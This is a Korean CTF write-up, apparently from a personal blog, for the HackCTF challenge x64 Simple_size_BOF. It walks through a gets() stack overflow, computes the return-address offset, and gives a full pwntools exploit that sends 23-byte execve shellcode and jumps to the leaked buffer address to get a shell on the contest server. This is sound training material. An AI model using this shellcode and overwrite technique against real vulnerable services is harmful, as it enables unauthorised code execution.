이번에 풀이할 문제는 HackCTF의 x64 Simple_size_BOF다. 문제 이름으로도 알 수 있듯이 x64 환경에서의 Buffet oveflow 공격을 수행해야한다.
이번에는 ida가 아닌 ghidra로 분석을 해봤다.
디컴파일 창을 보면 알 수 있듯이 27952 크기의 char형 배열을 생성하고 이 배열의 주소를 출력한 후 bof 공격에 취약한 gets 함수를 통해 입력을 받는다.
현재 생각할 수 있는 공격은 두 가지다.
1. gets 함수로 bof를 일으켜 쉘을 따게 해주는 함수의 주소로 RET 변조.
2. gets 함수를 통해 쉘 코드 삽입 + bof를 일으켜 쉘 코드의 주소로 RET 변조
일단 공격 코드를 짜기전 프로그램을 실행해보고 gdb, checksec을 통해 좀더 정밀하게 분석을 해보겠다.
checksec으로 검사해보니 RELRO 보호기법 빼고는 다 풀려 있는 것을 알 수 있다. NX bit도 걸려있지 않기 때문에 쉘 코드를 통한 공격도 괜찮을 것 같다.
실행해보면 "삐빅 - 자살방지 문제입니다."라는 문구가 출력되고 27952 크기인 char형 배열의 주소를 출력해준 뒤 입력을 받는다.
여러 번 실행시켜본다면 계속 buf 값이 달라지는 것을 알 수 있다. 이를봤을 때 이번 문제는 aslr 보호기법이 걸려있다는 것을 알 수 있다.
gdb로 문제 파일을 열고 함수들을 확인해보면 눈에 띄는 함수는 안보이는 것을 알 수 있다. 쉘을 따게 해주는 함수가 없는 것 그리고 Nx bit 보호기법이 풀려있다는 것을 봤을 때 쉘 코드 삽입 및 RET 변조를 통한 exploit을 해야될 것 같다.
main 시작 부분에 bp를 걸고 실행해 Ret의 주소(0x7fffffffdf48)를 얻었다. 이번 char 배열의 주소는 0x7fffffff7210이므로 이 둘의 차를 계산하면 Ret와 char 배열 간의 거리를 알 수 있다.
Ret과 char 배열의 주소는 0x6D38(27960)byte만큼 차이가난다.
aslr이 걸려있지 않다면 쉘 코드 + (27960 - 쉘 코드의 길이)만큼의 더미 값 + (쉘 코드의 주소)로 exploit할 수 있을텐데, aslr이 걸려있으므로 쉘 코드의 주소를 하드코딩해서 넣을 수 없다.
대신 입력을 받기전 char 배열의 주소를 출력해주기 때문에 이 주소에 쉘 코드를 삽입한 후 출력된 주소로 ret를 바꿔준다면 충분히 가능하다.
from pwn import *
payload = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# 23byte 쉘코드
payload += b"A"*27937 # 27960 - 23(쉘코드의 길이) 만큼의 더미 값 생성
p = remote("ctf.j0n9hyun.xyz", 3005) # 대회 서버 접속
#p = process("./Simple_size_bof") 로컬
p.recvuntil("buf: 0x") # buf: 0x까지 받아옴
bufAddr = p.recv(12) # buf: 0x까지 받아온 후 그 다음 12byte를 bufAddr에 저장
print(bufAddr) # 확인용으로 주소 출력
payload += p64(int(bufAddr,16)) # char 배열의 주소를 64bit little endian으로 패킹하여 payload에 추가
p.sendline(payload) # payload 전송
p.interactive()
먼저 23byte의 쉘 코드를 payload에 추가하고 27960에서 쉘 코드 길이를 뺀 27937byte만큼 더미 값을 추가해준다.
그 후 대회 서버에 접속해 출력된 char형 배열의 주소를 받아온 뒤, 그 주소를 64bit little endian으로 패킹해 payload에 추가한 뒤 전송하면 된다.
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.05.11 |
---|---|
[HackCTF] Basic_FSB (2) | 2021.05.05 |
[HackCTF] x64 Buffer Overflow (0) | 2021.03.20 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.03.18 |
[HackCTF] Basic_BOF #2 (0) | 2021.03.16 |